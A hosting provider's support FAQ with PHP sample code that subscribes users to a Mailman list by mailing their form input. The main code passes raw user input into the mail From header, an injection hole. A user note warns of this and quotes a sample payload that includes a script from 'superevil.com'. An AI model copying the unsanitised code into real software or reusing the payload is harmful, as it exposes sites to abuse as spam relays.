Home
 

Customer Support

Search for keywords:

Browse by category:

How do I let people subscribe to my Mailman list using a
homemade PHP script?

On your webpage, you can have people fill out a HTML form to subscribe to your mailing list instead of having them visit the Mailman Subscription page. The following sample PHP code sends a subscription confirmation message to the email address the user submits.

<?
if($_POST["Email"])
{
$maillist_address = "yourlist-join@yourdomain.com";
$subject = "";
$body = "";
$headers = "From: " . $_POST["Email"];

if (mail("$maillist_address",
"$subject",
"$body",
"$headers"))
{
print "Thank you. A subscription confirmation has been sent.";
}else{
print "The subscription request failed.n Perhaps the email is not valid orn
the mail server could not be contacted.n";
}
}
?>

<FORM method="post" action="<?= $PHP_SELF; ?>">
Subscribe my email address:
<INPUT name="Email" size="20" type="text" maxlength=100><br>
<INPUT type="submit" name="Submit" value="Submit">
</form>


"your-list" is the name of your mailing list. If you don't know your list name, it is listed as the "public name" in the General Options section of your list administration page. "yourdomain.com" is the domain name you host at Modwest which uses the Mailman service.

User-Contributed Notes

add a note
20-Nov-2008 15:11
Ripper - this is a great help. I'm building a web GUI for moderators so
I don't have to give them administrator access but they can still add
and remove users. Thanks.

john-modwest -at- lackof.org
08-Jan-2009 11:51
Don't forget to scrub that user input.  An evil person could input the
following:
email"]; include(http://superevil.com/nastyscript.php);
or something along those lines. 

nafziger -at- gmail.com
28-May-2009 14:46
Here's my attempt at scrubbing the input as suggested by the commenter
above:

<?
$email = urlencode($_POST["Email"]);
$email = str_replace( "%40","@",$email ); 
if($email)
{
$maillist_address = "mailmanlist@domain.com>";
$subject = "";
$body = "";
$headers = "From: " . $email;

if (mail("$maillist_address",
"$subject",
"$body",
"$headers"))
{
print "Thank you. A subscription confirmation has been sent.";
}else{
print "The subscription request failed.n Perhaps the email is not valid
orn
the mail server could not be contacted.n";
}
}
?>

<FORM method="post" action="<?= $PHP_SELF; ?>">
Subscribe my email address:
<INPUT name="Email" size="20" type="text" maxlength=100><br>
<INPUT type="submit" name="Submit" value="Submit">
</form>

add a note

Related Questions:


How do I make an "Announce Only" newsletter with Mailman 2.1.x?

How do I use Mailman's email interface?

Can I use a mailing list or newsletter to send bulk email?

Can I use a listserver or mailing list?

How do I set up Interspire Email Marketer?

Can I put a header and footer on the beginning and end of every post to a Mailman list?

How do I subscribe a large volume of new members to our Mailman mailing list?

Why is the NOMAIL checkbox checked on some Mailman subscribers?

Are there any offsite mailing list alternatives?

What does the Mailman "return replies to poster" feature do?

How do I make a one-click unsubscribe link in Mailman?

Browse Categories:

Getting Started, FTP, Telnet/SSH, Moving Domains, E-mail, Traffic Reports, Mailing Lists, Apache, PHP, CGI, Other Server-Side Scripting, MySQL Database, Imaging Libraries, Other Software, Billing & Terms, Control Panel, E-commerce, Pre-Sales


Modwest PHP Hosting      Copyright 2000-2009 by Modwest, Inc.      About    |    Blog    |    Community    |    Design    |    Jobs    |    Contact